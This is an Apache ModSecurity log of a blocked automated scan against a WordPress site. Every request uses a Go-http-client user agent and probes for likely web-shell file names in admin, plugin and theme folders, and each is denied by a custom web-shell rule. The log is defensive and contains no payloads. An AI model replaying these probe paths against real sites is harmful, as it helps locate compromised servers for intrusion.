[Sat Nov 15 06:17:26.971685 2025] [:error] [pid 37318:tid 37369] [client 85.203.21.190:46183] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/mlex.php"] [unique_id "aReqdugM1rHoEAqoQDc4NQAAAQc"]
[Sat Nov 15 06:17:27.181041 2025] [:error] [pid 27909:tid 27927] [client 85.203.21.207:43649] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/plex1.php"] [unique_id "aReqdyTfZ6B57n8HepWX_gAAAA4"]
[Sat Nov 15 06:17:27.380836 2025] [:error] [pid 27911:tid 27986] [client 193.37.32.2:25493] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/configYFW/about.php"] [unique_id "aReqd8GzUdrhGBIfiKTMQwAAAJI"]
[Sat Nov 15 06:17:27.606625 2025] [:error] [pid 27909:tid 27926] [client 85.203.21.195:26175] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/css.php"] [unique_id "aReqdyTfZ6B57n8HepWYBAAAAA0"]
[Sat Nov 15 06:17:27.800833 2025] [:error] [pid 37318:tid 37379] [client 193.37.32.3:37749] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/m.php"] [unique_id "aReqd-gM1rHoEAqoQDc4OAAAARE"]
[Sat Nov 15 06:17:28.003366 2025] [:error] [pid 27909:tid 27928] [client 85.203.21.170:63325] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/option.php"] [unique_id "aReqeCTfZ6B57n8HepWYBgAAAA8"]
[Sat Nov 15 06:17:28.184296 2025] [:error] [pid 27911:tid 27992] [client 85.203.21.221:55597] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/options-privacy-part.php"] [unique_id "aReqeMGzUdrhGBIfiKTMRQAAAJg"]
[Sat Nov 15 06:17:28.386715 2025] [:error] [pid 37318:tid 37381] [client 85.203.21.223:38261] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-conflg.php"] [unique_id "aReqeOgM1rHoEAqoQDc4OQAAARM"]
[Sat Nov 15 06:17:28.575951 2025] [:error] [pid 27911:tid 27976] [client 85.203.21.156:39397] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/backuply/s.php"] [unique_id "aReqeMGzUdrhGBIfiKTMRgAAAIg"]
[Sat Nov 15 06:17:28.965061 2025] [:error] [pid 37318:tid 37374] [client 85.203.21.161:21749] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/chosen.php"] [unique_id "aReqeOgM1rHoEAqoQDc4PAAAAQw"]
[Sat Nov 15 06:17:30.576123 2025] [:error] [pid 27910:tid 27953] [client 85.203.21.159:37843] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/class-json.php"] [unique_id "aReqeo6e1LusHMYkS7ZfHgAAAEw"]
[Sat Nov 15 06:17:30.774606 2025] [:error] [pid 27909:tid 27914] [client 85.203.21.192:57751] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/"] [unique_id "aReqeiTfZ6B57n8HepWYEwAAAAE"]
[Sat Nov 15 06:17:30.969863 2025] [:error] [pid 27910:tid 27956] [client 85.203.21.176:59997] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/plugins/prv8.php"] [unique_id "aReqeo6e1LusHMYkS7ZfIgAAAE8"]
[Sat Nov 15 06:17:31.165889 2025] [:error] [pid 27911:tid 27979] [client 85.203.21.227:52285] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/prv8.php"] [unique_id "aReqe8GzUdrhGBIfiKTMSgAAAIs"]
[Sat Nov 15 06:17:31.343685 2025] [:error] [pid 37318:tid 37379] [client 85.203.21.202:21661] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/litespeed/about.php"] [unique_id "aReqe-gM1rHoEAqoQDc4RgAAARE"]
[Sat Nov 15 06:17:31.521691 2025] [:error] [pid 27911:tid 27983] [client 85.203.21.197:34215] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/ngg/modules/photocrati-nextgen_basic_imagebrowser/static/lock.php"] [unique_id "aReqe8GzUdrhGBIfiKTMTAAAAI8"]
[Sat Nov 15 06:17:31.699343 2025] [:error] [pid 37318:tid 37376] [client 85.203.21.164:21649] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/all-in-one-wp-migration/lib/vendor/about.php"] [unique_id "aReqe-gM1rHoEAqoQDc4SQAAAQ4"]
[Sat Nov 15 06:17:31.885303 2025] [:error] [pid 27909:tid 27922] [client 85.203.21.168:61377] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/amp/src/Editor/about.php"] [unique_id "aReqeyTfZ6B57n8HepWYFwAAAAk"]
[Sat Nov 15 06:17:32.091565 2025] [:error] [pid 37318:tid 37380] [client 85.203.21.207:62705] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/autoload_classmap.php"] [unique_id "aReqfOgM1rHoEAqoQDc4TAAAARI"]
[Sat Nov 15 06:17:32.308062 2025] [:error] [pid 27997:tid 28013] [client 85.203.21.206:38981] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/carousel-slider/templates/loop/classwithtostring.php"] [unique_id "aReqfNpja_6cDxKbxFknUAAAAM4"]
[Sat Nov 15 06:17:32.504622 2025] [:error] [pid 27910:tid 27941] [client 85.203.21.197:28573] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/checkout-for-woocommerce/about.php"] [unique_id "aReqfI6e1LusHMYkS7ZfJQAAAEA"]
[Sat Nov 15 06:17:32.863462 2025] [:error] [pid 27911:tid 27978] [client 85.203.21.222:53325] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/contact-forms/abc.php"] [unique_id "aReqfMGzUdrhGBIfiKTMTQAAAIo"]
[Sat Nov 15 06:17:33.269805 2025] [:error] [pid 27910:tid 27944] [client 85.203.21.164:21777] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/elementor/core/frontend/render-modes/about.php"] [unique_id "aReqfY6e1LusHMYkS7ZfJwAAAEM"]
[Sat Nov 15 06:17:33.982882 2025] [:error] [pid 37318:tid 37382] [client 193.37.32.2:31873] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/elementor/modules/atomic-widgets/prop-types/transform/lock.php"] [unique_id "aReqfegM1rHoEAqoQDc4VgAAARQ"]
[Sat Nov 15 06:17:34.323099 2025] [:error] [pid 27911:tid 27971] [client 85.203.21.217:39561] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/elementor/modules/kit-elements-defaults/import-export-customization/lock.php"] [unique_id "aReqfsGzUdrhGBIfiKTMUgAAAIM"]
[Sat Nov 15 06:17:34.672886 2025] [:error] [pid 27997:tid 28004] [client 85.203.21.207:24055] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/essential-addons-for-elementor-lite/assets/front-end/css/lib-view/code-snippet/lock.php"] [unique_id "aReqftpja_6cDxKbxFknVAAAAMU"]
[Sat Nov 15 06:17:34.891949 2025] [:error] [pid 37318:tid 37365] [client 85.203.21.226:44419] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/foter.php"] [unique_id "aReqfugM1rHoEAqoQDc4WQAAAQM"]
[Sat Nov 15 06:17:35.087491 2025] [:error] [pid 27910:tid 27961] [client 85.203.21.168:59951] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/new.php"] [unique_id "aReqf46e1LusHMYkS7ZfKQAAAFQ"]
[Sat Nov 15 06:17:35.302465 2025] [:error] [pid 37318:tid 37362] [client 85.203.21.58:40413] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/nodeinfo/theme.php"] [unique_id "aReqf-gM1rHoEAqoQDc4WwAAAQA"]
[Sat Nov 15 06:17:35.518814 2025] [:error] [pid 27909:tid 27933] [client 85.203.21.162:55191] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/nux.php"] [unique_id "aReqfyTfZ6B57n8HepWYGwAAABQ"]
[Sat Nov 15 06:17:35.710375 2025] [:error] [pid 37318:tid 37366] [client 85.203.21.192:25303] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/quadmenu/assets/frontend/icons/fontawesome/css/lock.php"] [unique_id "aReqf-gM1rHoEAqoQDc4XgAAAQQ"]
[Sat Nov 15 06:17:35.905650 2025] [:error] [pid 37318:tid 37377] [client 85.203.21.223:44229] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/quadmenu/redux/ReduxCore/inc/themecheck/checks/lock.php"] [unique_id "aReqf-gM1rHoEAqoQDc4YQAAAQ8"]
[Sat Nov 15 06:17:36.301827 2025] [:error] [pid 37318:tid 37388] [client 85.203.21.197:22005] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/really-simple-ssl/lets-encrypt/integrations/admin.php"] [unique_id "aReqgOgM1rHoEAqoQDc4ZAAAARY"]
[Sat Nov 15 06:17:36.505123 2025] [:error] [pid 27910:tid 27941] [client 85.203.21.178:60823] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/royal-elementor-addons/modules/theme-builder/post-navigation/widgets/lock.php"] [unique_id "aReqgI6e1LusHMYkS7ZfKwAAAEA"]
[Sat Nov 15 06:17:36.690054 2025] [:error] [pid 27997:tid 28019] [client 85.203.21.222:44803] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/toxkssp/index.php"] [unique_id "aReqgNpja_6cDxKbxFknXAAAANQ"]
[Sat Nov 15 06:17:36.962024 2025] [:error] [pid 37318:tid 37379] [client 85.203.21.201:25211] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/woocommerce-advanced-bulk-edit/about.php"] [unique_id "aReqgOgM1rHoEAqoQDc4aAAAARE"]
[Sat Nov 15 06:17:37.194945 2025] [:error] [pid 27997:tid 28021] [client 85.203.21.208:59167] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wophq/index.php"] [unique_id "aReqgdpja_6cDxKbxFknXgAAANY"]
[Sat Nov 15 06:17:37.381230 2025] [:error] [pid 27997:tid 28000] [client 85.203.21.57:28893] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wordpress-seo/src/user-profiles-additions/about.php"] [unique_id "aReqgdpja_6cDxKbxFknXwAAAME"]
[Sat Nov 15 06:17:37.616301 2025] [:error] [pid 27997:tid 28022] [client 85.203.21.162:57233] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wordpress-seo/src/wrappers/about.php"] [unique_id "aReqgdpja_6cDxKbxFknYAAAANc"]
[Sat Nov 15 06:17:37.801731 2025] [:error] [pid 27909:tid 27915] [client 85.203.21.193:25239] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-all-import-pro/addon-api/about.php"] [unique_id "aReqgSTfZ6B57n8HepWYIQAAAAI"]
[Sat Nov 15 06:17:38.016622 2025] [:error] [pid 27997:tid 28009] [client 85.203.21.213:38917] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wpvivid-backup-mainwp/vendor/psr/cache/lock.php"] [unique_id "aReqgtpja_6cDxKbxFknZQAAAMo"]
[Sat Nov 15 06:17:38.219458 2025] [:error] [pid 27997:tid 27999] [client 85.203.21.217:45829] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/botticelli/content-index.php"] [unique_id "aReqgtpja_6cDxKbxFknZgAAAMA"]
[Sat Nov 15 06:17:38.478232 2025] [:error] [pid 27997:tid 28014] [client 85.203.21.184:52083] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/chosen.php"] [unique_id "aReqgtpja_6cDxKbxFknZwAAAM8"]
[Sat Nov 15 06:17:38.700395 2025] [:error] [pid 27909:tid 27931] [client 85.203.21.58:49083] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/edit.php"] [unique_id "aReqgiTfZ6B57n8HepWYJAAAABI"]
[Sat Nov 15 06:17:38.889823 2025] [:error] [pid 27910:tid 27942] [client 85.203.21.178:20283] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/flatsome-child/images/about.php"] [unique_id "aReqgo6e1LusHMYkS7ZfLAAAAEE"]
[Sat Nov 15 06:17:39.088861 2025] [:error] [pid 37318:tid 37375] [client 85.203.21.156:43491] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/flatsome/inc/builder/shortcodes/commons/lock.php"] [unique_id "aReqg-gM1rHoEAqoQDc4bAAAAQ0"]
[Sat Nov 15 06:17:39.284244 2025] [:error] [pid 27911:tid 27992] [client 85.203.21.186:38467] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/flex-multi-business/inc/zBaLeMDx.php"] [unique_id "aReqg8GzUdrhGBIfiKTMWQAAAJg"]
[Sat Nov 15 06:17:39.475346 2025] [:error] [pid 27911:tid 27988] [client 85.203.21.222:28195] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/intime/assets/index.php"] [unique_id "aReqg8GzUdrhGBIfiKTMWgAAAJQ"]
[Sat Nov 15 06:17:39.674489 2025] [:error] [pid 27997:tid 28000] [client 85.203.21.188:38655] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/libero/autoload_classmap.php"] [unique_id "aReqg9pja_6cDxKbxFknawAAAME"]
[Sat Nov 15 06:17:39.872985 2025] [:error] [pid 27909:tid 27929] [client 85.203.21.239:52711] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/maxwin88/inc/metabox/extend-metabox/lock.php"] [unique_id "aReqgyTfZ6B57n8HepWYJgAAABA"]
[Sat Nov 15 06:17:40.073048 2025] [:error] [pid 27910:tid 27962] [client 85.203.21.195:27227] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/popularfx/template-parts/index.php"] [unique_id "aReqhI6e1LusHMYkS7ZfLgAAAFU"]
[Sat Nov 15 06:17:45.331668 2025] [:error] [pid 37318:tid 37389] [client 85.203.21.223:58077] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/rubens-child/content-index.php"] [unique_id "aReqiegM1rHoEAqoQDc4eAAAARc"]
